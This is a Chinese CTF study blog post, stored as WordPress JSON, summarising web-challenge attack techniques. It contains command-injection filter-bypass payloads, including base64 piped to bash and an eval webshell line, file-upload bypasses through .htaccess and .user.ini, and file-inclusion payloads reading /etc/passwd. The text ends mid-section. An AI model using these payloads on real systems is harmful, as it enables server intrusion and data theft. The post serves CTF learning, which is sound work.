{"id":116,"date":"2025-06-13T22:53:39","date_gmt":"2025-06-13T14:53:39","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=116"},"modified":"2025-08-11T17:15:05","modified_gmt":"2025-08-11T09:15:05","slug":"ctf-web%e6%96%b9%e5%90%91%e8%80%83%e7%82%b9%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=116","title":{"rendered":"CTF Web\u65b9\u5411\u8003\u70b9\u603b\u7ed3"},"content":{"rendered":"<h1>CTF Web\u65b9\u5411\u8003\u70b9\u603b\u7ed3<\/h1>\n<h2>CTF Web<\/h2>\n<h3>0X00 \u524d\u8a00<\/h3>\n<p>\u505a\u9898\u5df2\u7ecf\u5feb\u56db\u4e2a\u6708\u4e86\uff0c\u63a5\u89e6\u4e86\u5927\u5927\u5c0f\u5c0f\u7684\u9898\u578b\uff0c\u6536\u85cf\u7684\u5927\u5e08\u5085\u4eec\u7684\u89e3\u9898\u601d\u8def\u3001\u9898\u578b\u603b\u7ed3\u7684\u535a\u5ba2\u5df2\u7ecf\u5f88\u591a\u4e86\uff0c\u6bcf\u6b21\u90fd\u8981\u4e00\u4e2a\u4e00\u4e2a\u7ffb\u5f88\u9ebb\u70e6\uff0c\u4e8e\u662f\u5199\u4e0b\u4e86\u8fd9\u4e00\u4e2a\u603b\u7ed3\uff0c\u5b9e\u9645\u4e0a\u662f\u628a\u5404\u5927\u535a\u5ba2\u5185\u5bb9\u6c47\u603b\u52a0\u4e0a\u81ea\u5df1\u7684\u7406\u89e3\u7f16\u6392\uff0c\u5bf9\u5e94\u7684\u535a\u5ba2\u90fd\u5728\u6bcf\u4e00\u4e2a\u5185\u5bb9\u7684\u53c2\u8003\u6587\u7ae0\u7ed9\u51fa\uff0c\u5982\u6709\u5199\u4e0d\u6e05\u695a\u4e4b\u5904\u53ef\u53bb\u76f8\u5e94\u6587\u7ae0\u67e5\u9605\u3002\u4e00\u662f\u65b9\u4fbf\u81ea\u5df1\u67e5\u9605\u76f8\u5173\u89e3\u9898\u601d\u8def\uff0c\u4e8c\u662f\u63d0\u70bc\u601d\u8def\u6709\u4e00\u4e2a\u6574\u4f53\u6846\u67b6<\/p>\n<h3>0X01 <a href=\"https:\/\/so.csdn.net\/so\/search?q=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&amp;spm=1001.2101.3001.7020\" target=\"_blank\"  rel=\"nofollow\" >\u547d\u4ee4\u6267\u884c<\/a><\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>\u6ca1\u6709\u5bf9\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u8fdb\u884c\u4e00\u5b9a\u8fc7\u6ee4\u76f4\u63a5\u4f20\u7ed9shell_exec\u3001system\u4e00\u7c7b\u51fd\u6570\u6267\u884c<br \/>\n\u770b\u4e00\u4e2a\u5177\u4f53\u4f8b\u5b50<\/p>\n<pre><code class=\"language-php\">&lt;?php \n$str=&quot;&quot;;\nif(!empty($_GET)){\n    $str=$_GET[&quot;calc&quot;];\n}\n    echo &quot;result:&quot;.shell_exec(&quot;echo $str | bc&quot;);\n?&gt;<\/code><\/pre>\n<p>\u8fd9\u91cc\u53ea\u9700\u8981\u5229\u7528<code>;<\/code>\u5c06<code>str<\/code>\u622a\u65ad\uff0c\u63a5\u7740\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u81ea\u5b9a\u4e49\u7684\u547d\u4ee4\u4e86\uff0c\u4e00\u4e2a\u53ef\u80fd\u7684payload\uff1a <code>calc=1;cat \/flag;<\/code><\/p>\n<h4>\u7ed5\u8fc7\u8fc7\u6ee4<\/h4>\n<p>\u4e00\u822c\u7684\u9898\u4e0d\u4f1a\u8fd9\u4e48\u7b80\u5355\uff0c\u5f80\u5f80\u4f1a\u5bf9\u7528\u6237\u7684\u8f93\u5165\u8fdb\u884c\u4e00\u5b9a\u7684\u8fc7\u6ee4<\/p>\n<p><strong>\u5173\u952e\u5b57\u8fc7\u6ee4\u7ed5\u8fc7<\/strong><\/p>\n<pre><code class=\"language-bash\"># \u5173\u952e\u5b57\u8fc7\u6ee4\n# \u7528*\u5339\u914d\u4efb\u610f\ncat fl*  \ncat fla* \n# \u53cd\u659c\u7ebf\u7ed5\u8fc7\nca\\t fla\\g.php  \n# \u8fc7\u6ee4cat\u53ef\u7528\u5176\u4ed6\u547d\u4ee4\uff0ctac\/more\/less\ntac flag.php\n# \u8fc7\u6ee4\/\n#\u5728linux\u7684\u7cfb\u7edf\u73af\u5883\u53d8\u91cf\u4e2d${PATH:0:\/}\u4ee3\u66ff\/\nls flag_is_here{PATH:0:1}    \n# \u4e24\u4e2a\u5355\u5f15\u53f7\u7ed5\u8fc7\uff0c\u53cc\u5f15\u53f7\u4e5f\u53ef\u4ee5\ncat fl&#039;&#039;ag.php    \n# \u7528[]\u6216\u8005{}\u5339\u914d\uff0c[]\u5339\u914d[]\u4e2d\u4efb\u610f\u4e00\u4e2a\u5b57\u7b26\uff0c{}\u8868\u793a\u5339\u914d\u5927\u62ec\u53f7\u91cc\u9762\u7684\u6240\u6709\u6a21\u5f0f\uff0c\u6a21\u5f0f\u4e4b\u95f4\u4f7f\u7528\u9017\u53f7\u5206\u9694\ncat fl[a]g.php       \n# \u53d8\u91cf\u66ff\u6362\u4e0e\u62fc\u63a5\na=fl;b=ag;cat $a$b          \n# \u628aflag.php\u590d\u5236\u4e3aflaG\ncp fla{g.php,G}   \n# \u5229\u7528\u7a7a\u53d8\u91cf  \u4f7f\u7528$*\u548c$@\uff0c$x(x \u4ee3\u8868 1-9),${x}(x&gt;=10)(\u5c0f\u4e8e 10 \u4e5f\u662f\u53ef\u4ee5\u7684) \u56e0\u4e3a\u5728\u6ca1\u6709\u4f20\u53c2\u7684\u60c5\u51b5\u4e0b\uff0c\u4e0a\u9762\u7684\u7279\u6b8a\u53d8\u91cf\u90fd\u662f\u4e3a\u7a7a\u7684 \nca${21}t a.txt   \n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<p><strong>\u7f16\u7801\u7ed5\u8fc7<\/strong><\/p>\n<pre><code class=\"language-bash\"># \u7f16\u7801\u7ed5\u8fc7    \n# base64\u7f16\u7801\u7ed5\u8fc7(\u5f15\u53f7\u53ef\u4ee5\u53bb\u6389)  |(\u7ba1\u9053\u7b26) \u4f1a\u628a\u524d\u4e00\u4e2a\u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3a\u540e\u4e00\u4e2a\u547d\u4ee4\u7684\u53c2\u6570\necho &quot;Y2F0IGZsYWcucGhw&quot; | base64 -d | bash      \n# hex\u7f16\u7801\u7ed5\u8fc7(\u5f15\u53f7\u53ef\u4ee5\u53bb\u6389)\necho &quot;63617420666c61672e706870&quot; | xxd -r -p | bash       \n# sh\u7684\u6548\u679c\u548cbash\u4e00\u6837\necho &quot;63617420666c61672e706870&quot; | xxd -r -p | sh<\/code><\/pre>\n<p><strong>\u7a7a\u683c\u8fc7\u6ee4\u7ed5\u8fc7<\/strong><\/p>\n<pre><code class=\"language-bash\">${IFS}$9\n{IFS}\n$IFS\n${IFS}\n#$1\u6539\u6210$\u52a0\u5176\u4ed6\u6570\u5b57\u8c8c\u4f3c\u90fd\u884c\n$IFS$1 \n# {command,param}\uff0c\u9700\u8981\u7528{}\u62ec\u8d77\u6765\n{cat,flag.php}\n# \\x09\u8868\u793atab,\\x20\u7a7a\u683c\nX=$&#039;cat\\x09.\/flag.php&#039;;$X<\/code><\/pre>\n<p><strong>\u5d4c\u5957\u6267\u884c<\/strong><\/p>\n<pre><code class=\"language-bash\">?c=eval($_GET[1]);&amp;1=system(&#039;cat flag.php&#039;);<\/code><\/pre>\n<p><strong>\u8fc7\u6ee4\u5206\u53f7<\/strong><\/p>\n<pre><code class=\"language-bash\">#\u6700\u540e\u4e00\u6761\u8bed\u53e5\u53ef\u4e0d\u52a0;\u76f4\u63a5\u4f7f\u7528?&gt;\u95ed\u5408\ninclude%0A$_GET[1]?&gt;&amp;1=php:\/\/filter\/convert.base64-encode\/resource=flag.php<\/code><\/pre>\n<p><strong>payload<\/strong><\/p>\n<pre><code class=\"language-php\">\/\/\u9898\u76ee\u8fc7\u6ee4\n&lt;?php\n    if(!isset($_POST[&quot;iipp&quot;]))\n        echo &#039;&#039;;\n    else{\n        if(preg_match(&quot;\/\\;|cat|ls|ll|\\\/|l|:|flag|IFS| |\\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\\`|\\%|\\x26|\\&gt;|\\&lt;|\\\\\\\\|{|}|\\&amp;|\\?\/i&quot;, $iipp)){\n            die(&quot;hacker!!!&quot;);\n        }\n        $result=shell_exec(&#039;ping -c 4 &#039;.$iipp);\n        $result=str_replace(&quot;\\n&quot;,&quot;&lt;br&gt;&quot;,$result);\n        echo $result;\n?&gt;\n\/\/payload\n\/\/\u8fc7\u6ee4\u659c\u6760\uff0c\u56e0\u6b64\u5fc5\u987b\u5806\u53e0\u6ce8\u5165\n\/\/\u8fc7\u6ee4\u5206\u53f7\uff0c\u7528%0a\u4ee3\u66ff \n\/\/\u8fc7\u6ee4\u7a7a\u683c\uff0c\u7528%09\u4ee3\u66ff\n\/\/\u8fc7\u6ee4cat\uff0c\u4f7f\u7528ca&#039;&#039;t\u7ed5\u8fc7\u67e5\u770bindex.php\n\/\/\u8fc7\u6ee4l\uff08\u8fd9\u9898\u6700\u5201\u94bb\u7684\u5730\u65b9\uff09\uff0cls\u65e0\u6cd5\u4f7f\u7528\u4e14flag\u6587\u4ef6\u540d\u53ea\u80fd\u7528\u901a\u914d\uff0cfind\u67e5\u770b\u76ee\u5f55\u7ed3\u6784\uff0c\u914d\u5408grep\u8bfb\u53d6flag\uff0c\u4f46\u662f\u8981\u6ce8\u610f\u9012\u5f52\u6df1\u5ea6\uff0c\u52a0\u4e0a-maxdepth\n\n127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acd%09..%0acd%09..%0acd%09..%0acd%09..%0afind%09.%09-maxdepth%091%09|xargs%09grep%09&quot;ag&quot;%09.&amp;submit=Ping\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/blog.csdn.net\/weixin_39190897\/article\/details\/116247765\" target=\"_blank\"  rel=\"nofollow\" >CTFWeb-\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u8fc7\u6ee4\u7684\u7ed5\u8fc7\u59ff\u52bf<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/qq_45552960\/article\/details\/104576189\" target=\"_blank\"  rel=\"nofollow\" >\u5173\u4e8e\u547d\u4ee4\u6267\u884c\/\u6ce8\u5165 \u4ee5\u53ca\u5e38\u89c1\u7684\u4e00\u4e9b\u7ed5\u8fc7\u8fc7\u6ee4\u7684\u65b9\u6cd5<\/a>  <\/p>\n<h3>0X02 \u6587\u4ef6\u4e0a\u4f20<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p><a href=\"https:\/\/so.csdn.net\/so\/search?q=%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E&amp;spm=1001.2101.3001.7020\" target=\"_blank\"  rel=\"nofollow\" >\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e<\/a>\u4e3b\u8981\u662f\u56e0\u4e3aWeb\u5e94\u7528\u5728\u8bbe\u8ba1\u548c\u5f00\u53d1\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u65f6\uff0c\u6ca1\u6709\u5bf9\u7528\u6237\u4e0a\u4f20\u7684\u6587\u4ef6\u8fdb\u884c\u5145\u5206\u7684\u68c0\u6d4b\u53ca\u9632\u5fa1\uff0c\u5bfc\u81f4\u6076\u610f\u7684\u53ef\u6267\u884c\u6587\u4ef6\u4e0a\u4f20\u81f3Web\u670d\u52a1\u5668\u5e76\u9020\u6210\u635f\u5bb3\uff0c\u4e00\u822c\u8981\u7ed3\u5408\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u914d\u5408\u4f7f\u7528<\/p>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<p>\u5982\u679c\u77e5\u9053\u4e86\u9632\u62a4\u624b\u6bb5\uff0c\u5c31\u80fd\u89c1\u62db\u62c6\u62db\uff0c\u4e0b\u5217\u662f\u5e38\u89c1\u7684\u4e09\u79cd\u9632\u62a4\u65b9\u5f0f\uff1a<\/p>\n<blockquote>\n<ol>\n<li>\n<p>\u5bf9\u4e0a\u4f20\u6587\u4ef6\u6269\u5c55\u540d\u8fdb\u884c\u4e25\u683c\u8fc7\u6ee4\uff0c\u8bbe\u7f6e\u767d\u540d\u5355\u673a\u5236\u53ea\u5141\u8bb8\u7279\u5b9a\u6269\u5c55\u540d\u6587\u4ef6\u4e0a\u4f20\uff0c\u4e25\u683c\u8fc7\u6ee4\u6269\u5c55\u540d\u4e3a\u201c.php\u3001.asp\u3001.bat\u201d\u7b49\u53ef\u6267\u884c\u6587\u4ef6\u4e0a\u4f20<\/p>\n<\/li>\n<li>\n<p>\u9650\u5236\u76ee\u5f55\u6743\u9650\uff0c\u5bf9\u4e8e\u6587\u4ef6\u4e0a\u4f20\u76ee\u5f55\u8bbe\u7f6e\u53ef\u8bfb\u3001\u53ef\u5199\u3001\u4e0d\u53ef\u6267\u884c\u6743\u9650\uff0c\u7981\u6b62\u7528\u6237\u4e0a\u4f20\u7684\u6587\u4ef6\u5728\u540e\u53f0\u6267\u884c<\/p>\n<\/li>\n<li>\n<p>\u9690\u85cf\u6587\u4ef6\u4e0a\u4f20\u76ee\u5f55\uff0c\u7528\u6237\u4e0a\u4f20\u6587\u4ef6\u7684\u76ee\u6807\u76ee\u5f55\u5bf9\u7528\u6237\u9690\u85cf\u3002<\/p>\n<\/li>\n<\/ol>\n<\/blockquote>\n<ul>\n<li>\n<p><strong>\u524d\u7aefJS\u9a8c\u8bc1\u7ed5\u8fc7<\/strong><br \/>\n\u5229\u7528bp\u6293\u5305\u4fee\u6539\u6216\u8005\u4fee\u6539JS\u4ee3\u7801<\/p>\n<\/li>\n<li>\n<p><strong>\u9ed1\u767d\u540d\u5355\u7ed5\u8fc7<\/strong><br \/>\n\u5e38\u89c1\u540e\u7f00\uff1aphtml\u3001php3\u3001php4\u3001php5\u3001Php\u3001pphphp\uff08\u9002\u7528\u4e8e\u7a7a\u683c\u66ff\u6362\u7684\u53cc\u5199\u7ed5\u8fc7\uff09<br \/>\n\u4e0a\u4f20\u6210\u529f\u540e\uff0c\u6d4b\u8bd5\u662f\u5426\u80fd\u591f\u89e3\u6790<\/p>\n<\/li>\n<li>\n<p><strong>\u6587\u4ef6\u7c7b\u578b\u68c0\u6d4b<\/strong><br \/>\n\u68c0\u6d4b\u7684\u65b9\u5f0f\u5305\u62ec\uff1acontent-type\u3001\u5185\u5bb9\u548c\u6587\u4ef6\u5934\u7b49<br \/>\n\u5224\u65ad\u6587\u4ef6\u5934\uff1a\u6293\u5305\u5728\u6587\u4ef6\u5185\u5bb9\u589e\u52a0GIF89a<br \/>\n\u5224\u65ad\u6587\u4ef6\u5185\u5bb9\uff1a\u5236\u4f5c\u56fe\u7247\u9a6c<\/p>\n<\/li>\n<li>\n<p><strong>\u622a\u65ad\u7ed5\u8fc7<\/strong><br \/>\n\u4e0a\u4f20\u6587\u4ef6\u53d1\u73b0\u56de\u663e\u4fdd\u5b58\u8def\u5f84<br \/>\n\u6210\u529f\u7684\u6761\u4ef6\uff1aphp\u7248\u672c\u5c0f\u4e8e5.3.4\u4e14magic_quotes_gpc=off<\/p>\n<\/li>\n<li>\n<p><code>&lt;?<\/code>\u68c0\u6d4b\u7ed5\u8fc7<\/p>\n<ul>\n<li><code>&lt;script language=&quot;php&quot;&gt;eval($_POST[cmd]);&lt;\/script&gt;<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<blockquote>\n<ol>\n<li>Get\uff1a\u5728\u4e0a\u4f20\u8def\u5f84\u5904 \u2026\/upload\/1.php%00<\/li>\n<li>Post\uff1a\u5bf9\u2026\/upload\/1.php\u540e\u8fdb\u884c16\u8fdb\u5236hex\u4fee\u6539\u4e3a00<\/li>\n<li>\u6293\u5305\u4fee\u6539\u4e3a\uff1a1.php;jpg\u6216\u80051.php%00.jpg\u6216\u80051.php\/00.jpg<\/li>\n<\/ol>\n<\/blockquote>\n<ul>\n<li><strong>\u6761\u4ef6\u7ade\u4e89\u6f0f\u6d1e<\/strong><br \/>\n\u6587\u4ef6\u4e0a\u4f20\u8fdb\u884c\u9a8c\u8bc1\u7684\u77ed\u6682\u65f6\u95f4\u5185,\u670d\u52a1\u5668\u5bf9\u4f20\u5165\u7684\u6587\u4ef6\u8fdb\u884c\u4e86\u4e34\u65f6\u4fdd\u5b58\uff0c\u5728\u8fd9\u77ed\u6682\u65f6\u95f4\u5185php\u662f\u53ef\u4ee5\u89e3\u6790\u7684<br \/>\n\u5229\u7528bp\u6293\u5305\uff0c\u8bbe\u7f6e\u591a\u7ebf\u7a0b\uff0c\u4e0d\u65ad\u53d1\u5305\uff1b\u6d4f\u89c8\u5668\u8bbf\u95ee\u8fde\u63a5\u6211\u4eec\u4e0a\u4f20\u7684\u6728\u9a6c\u6587\u4ef6<\/li>\n<\/ul>\n<pre><code class=\"language-python\">\/\/\u8fde\u63a5\u811a\u672c\nimport requests\nurl = &quot;http:\/\/127.0.0.1\/upload-labs\/upload\/shell.php.7z&quot;\nwhile True:\n    html = requests.get(url)\n    if html.status_code == 200:\n        print(&quot;OK&quot;)\n        break\n    else:\n        print(&quot;NO&quot;)<\/code><\/pre>\n<ul>\n<li>\n<p><strong>apache\u89e3\u6790\u6f0f\u6d1e\u7ed5\u8fc7<\/strong><\/p>\n<ol>\n<li>\n<p>\u4e0a\u4f20\u56fe\u7247\u9a6cevil.php.xxx.abc<\/p>\n<\/li>\n<li>\n<p>\u4e0a\u4f20.htaccess\uff0c\u5185\u5bb9\u4e3a<\/p>\n<pre><code class=\"language-php\"><FilesMatch \"evil.php.xxx.abc\">\n       SetHandler application\/x-httpd-php\n<\/FilesMatch><\/code><\/pre>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<p><strong>.user.ini<\/strong><br \/>\n\u8ddf.htaccess\u540e\u95e8\u6bd4\uff0c\u9002\u7528\u8303\u56f4\u66f4\u5e7f\uff0cnginx\/apache\/IIS\u90fd\u6709\u6548\uff0c\u800c.htaccess\u53ea\u9002\u7528\u4e8eapache<br \/>\n\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>\n<p>\u670d\u52a1\u5668\u811a\u672c\u8bed\u8a00\u4e3aPHP<\/p>\n<\/li>\n<li>\n<p>\u670d\u52a1\u5668\u4f7f\u7528CGI\uff0fFastCGI\u6a21\u5f0f<\/p>\n<\/li>\n<li>\n<p>\u4e0a\u4f20\u76ee\u5f55\u4e0b\u8981\u6709\u53ef\u6267\u884c\u7684php\u6587\u4ef6<\/p>\n<\/li>\n<\/ul>\n<pre><code class=\"language-php\">GIF89a                  \/\/\u7ed5\u8fc7exif_imagetype()\nauto_prepend_file=a.jpg \/\/\u6307\u5b9a\u5728\u4e3b\u6587\u4ef6\u4e4b\u524d\u81ea\u52a8\u89e3\u6790\u7684\u6587\u4ef6\u7684\u540d\u79f0\uff0c\u5e76\u5305\u542b\u8be5\u6587\u4ef6\uff0c\u5c31\u50cf\u4f7f\u7528require\u51fd\u6570\u8c03\u7528\u5b83\u4e00\u6837\u3002\nauto_append_file=a.jpg  \/\/\u89e3\u6790\u540e\u8fdb\u884c\u5305\u542b<\/code><\/pre>\n<\/li>\n<\/ul>\n<p>\u8fd8\u6709\u5176\u4ed6\u7ed5\u8fc7\u7684\u59ff\u52bf\uff0c\u7531\u4e8e\u7b14\u8005\u8fd8\u6ca1\u6709\u9047\u5230\u8fc7\u76f8\u5173\u9898\u578b\u65e0\u6cd5\u786e\u5b9a\u7ed5\u8fc7\u65b9\u5f0f\u7684\u6709\u6548\u6027\uff0c\u6682\u65f6\u4e0d\u5177\u4f53\u7ec6\u8bf4\uff08\u6bd4\u5982evil.php\/.\uff09\uff0c\u6bd4\u5982win\u7cfb\u7edf\u89e3\u6790\u6f0f\u6d1e\u7ed5\u8fc7\u3001iis6.0 6.5 \u7248\u672c\u89e3\u6790\u6f0f\u6d1e\u4ee5\u53canginx\u89e3\u6790\u6f0f\u6d1e\uff0c\u8be6\u60c5\u53ef\u89c1\u53c2\u8003\u6587\u7ae0<\/p>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_43455259\/article\/details\/125064968\" target=\"_blank\"  rel=\"nofollow\" >\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u539f\u7406\u3001\u9632\u5fa1\u3001\u7ed5\u8fc7<\/a><br \/>\n\u56fe\u6e90\u770b\u96ea\u8bba\u575b<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b4129babde9887d710d882dd12f81828.png#pic_center\" alt=\"\u4e0a\u4f20\u5c0f\u7ed3\" \/><\/p>\n<h3>0X03 \u6587\u4ef6\u5305\u542b<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>\u901a\u8fc7PHP\u51fd\u6570\u5f15\u5165\u6587\u4ef6\u65f6\uff0c\u4f20\u5165\u7684\u6587\u4ef6\u540d\u6ca1\u6709\u7ecf\u8fc7\u5408\u7406\u7684\u9a8c\u8bc1\uff0c\u4ece\u800c\u64cd\u4f5c\u4e86\u9884\u60f3\u4e4b\u5916\u7684\u6587\u4ef6\uff0c\u5c31\u53ef\u80fd\u5bfc\u81f4\u610f\u5916\u7684\u6587\u4ef6\u6cc4\u6f0f\u751a\u81f3\u6076\u610f\u4ee3\u7801\u6ce8\u5165\uff0c\u5f15\u53d1\u6f0f\u6d1e\u7684\u73af\u5883\u8981\u6c42\u4e3a\uff1a<\/p>\n<ul>\n<li>allow_url_fopen=On\uff08\u9ed8\u8ba4\u4e3aOn\uff09<\/li>\n<li>allow_url_include=Off\uff085.2\u7248\u672c\u540e\u9ed8\u8ba4\u4e3aOff\uff09<\/li>\n<\/ul>\n<p>\u5f15\u53d1\u6f0f\u6d1e\u7684\u51fd\u6570\u5305\u62ec<code>include()<\/code>\u3001<code>require()<\/code>\u3001<code>include_once()<\/code>\u4ee5\u53ca<code>require_once()<\/code><\/p>\n<h4>\u5305\u542b\u65b9\u5f0f<\/h4>\n<h5>PHP\u4f2a\u534f\u8bae<\/h5>\n<p>\u5141\u8bb8\u8bbf\u95ee PHP \u7684\u8f93\u5165\u8f93\u51fa\u6d41\u3001\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u548c\u9519\u8bef\u63cf\u8ff0\u7b26<\/p>\n<ul>\n<li>\n<p><strong>file:\/\/<\/strong><br \/>\nfile:\/\/\/etc\/passwd\u3001file:\/\/key.txt<\/p>\n<\/li>\n<li>\n<p><strong>php:\/\/<\/strong><\/p>\n<ul>\n<li>php:\/\/input<br \/>\n[post data] &lt;?php phpinfo(); ?&gt;<\/li>\n<li>php:\/\/filter<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1246997db9557272eaa7e2e0ab191210.png#pic_center\" alt=\"php filter\" \/><\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>data:\/\/<\/strong><br \/>\n\u7c7b\u4f3c\u4e8ephp:\/\/input\uff0c\u53ef\u4ee5\u8ba9\u7528\u6237\u6765\u63a7\u5236\u8f93\u5165\u6d41\uff0c\u5f53\u5b83\u4e0e\u5305\u542b\u51fd\u6570\u7ed3\u5408\u65f6\uff0c\u7528\u6237\u8f93\u5165\u7684data:\/\/\u6d41\u4f1a\u88ab\u5f53\u4f5cphp\u6587\u4ef6\u6267\u884c\u3002\u4ece\u800c\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/96a6ed2c874347e7841c2cd6e0ccbcd5.png#pic_center\" alt=\"data:\/\/\" \/><\/p>\n<\/li>\n<li>\n<p><strong>phar:\/\/\u3001zip:\/\/<\/strong><\/p>\n<ul>\n<li>phar:\/\/\u6570\u636e\u6d41\u5305\u88c5\u5668\u81eaPHP5.3.0\u8d77\u5f00\u59cb\u6709\u6548<\/li>\n<li>phar:\/\/E:\/phpstudy\/www\/1.zip\/phpinfo.txt<\/li>\n<li>zip:\/\/[\u538b\u7f29\u5305\u7edd\u5bf9\u8def\u5f84]#[\u538b\u7f29\u5305\u5185\u6587\u4ef6]<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/d4cddc7101760959e718439dfc6c8ba7.png#pic_center\" alt=\"php\u4f2a\u534f\u8bae\u5229\u7528\" \/><\/p>\n<h5>Apache\u65e5\u5fd7\u6587\u4ef6\u5305\u542b<\/h5>\n<p>\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>\u65e5\u5fd7\u6587\u4ef6\u53ef\u8bfb<\/li>\n<li>\u65e5\u5fd7\u5b58\u50a8\u76ee\u5f55\u5df2\u77e5\uff08\u8bfb\u53d6\u670d\u52a1\u5668\u914d\u7f6e\u6587\u4ef6httpd.conf\u3001nginx.conf\u6216\u8005phpinfo()\uff09<\/li>\n<\/ul>\n<p>Apache\u8fd0\u884c\u540e\u4e00\u822c\u9ed8\u8ba4\u4f1a\u751f\u6210\u4e24\u4e2a\u65e5\u5fd7\u6587\u4ef6\uff0cWindos\u4e0b\u662faccess.log\uff08\u8bbf\u95ee\u65e5\u5fd7\uff09\u548cerror.log(\u9519\u8bef\u65e5\u5fd7)\uff0cLinux\u4e0b\u662faccess_log\u548cerror_log\uff0c\u8bbf\u95ee\u65e5\u5fd7\u6587\u4ef6\u8bb0\u5f55\u4e86\u5ba2\u6237\u7aef\u7684\u6bcf\u6b21\u8bf7\u6c42\u548c\u670d\u52a1\u5668\u54cd\u5e94\u7684\u76f8\u5173\u4fe1\u606f\u3002<br \/>\n\u5982\u679c\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u8d44\u6e90\u65f6\uff0c\u5982http:\/\/www.xxxx.com\/&lt;?php phpinfo(); ?&gt;,\u5219\u4f1a\u8bb0\u5f55\u5728\u65e5\u5fd7\u4e2d\uff0c\u4f46\u662f\u4ee3\u7801\u4e2d\u7684\u654f\u611f\u5b57\u7b26\u4f1a\u88ab\u6d4f\u89c8\u5668\u8f6c\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7burpsuit\u7ed5\u8fc7\u7f16\u7801\uff0c\u5c31\u53ef\u4ee5\u628a&lt;?php phpinfo(); ?&gt; \u5199\u5165apache\u7684\u65e5\u5fd7\u6587\u4ef6<\/p>\n<h5>Session\u6587\u4ef6\u5305\u542b<\/h5>\n<p>\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>session\u5185\u53ef\u63a7\u53d8\u91cf<\/li>\n<li>session\u6587\u4ef6\u53ef\u8bfb\u5199\uff0c\u5b58\u50a8\u8def\u5f84\u5df2\u77e5\uff08\u8def\u5f84\u53ef\u5728phpinfo\u7684session.save_path\u5f97\u5230\uff09\n<ul>\n<li>\u5e38\u89c1\u5b58\u50a8\u8def\u5f84\uff1a<\/li>\n<li>\/var\/lib\/php\/sess_PHPSESSID<\/li>\n<li>\/tmp\/sess_PHPSESSID<\/li>\n<li>\/tmp\/sessions\/sess_PHPSESSID<\/li>\n<li>Session\u6587\u4ef6\u683c\u5f0f<\/li>\n<li>sess_[phpsessid] \uff0cphpsessid \u5728\u53d1\u9001\u7684\u8bf7\u6c42\u7684 cookie \u5b57\u6bb5\u4e2d<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5>\u4e34\u65f6\u6587\u4ef6\u5305\u542b<\/h5>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/7c91994cec3ab971667db38e252f680d.png#pic_center\" alt=\"\u4e34\u65f6\u6587\u4ef6\u5305\u542b\" \/><br \/>\nphp\u4e2d\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f1a\u521b\u5efa\u4e34\u65f6\u6587\u4ef6\u3002\u5728linux\u4e0b\u4f7f\u7528\/tmp\u76ee\u5f55\uff0c\u800c\u5728windows\u4e0b\u4f7f\u7528c:\\winsdows\\temp\u76ee\u5f55\u3002\u5728\u4e34\u65f6\u6587\u4ef6\u88ab\u5220\u9664\u4e4b\u524d\uff0c\u5229\u7528\u7ade\u4e89\u5373\u53ef\u5305\u542b\u8be5\u4e34\u65f6\u6587\u4ef6<\/p>\n<p>\u6587\u4ef6\u540d\u83b7\u53d6\u65b9\u6cd5\uff1a<\/p>\n<ul>\n<li>\u66b4\u529b\u731c\u89e3<\/li>\n<li>phpinfo php 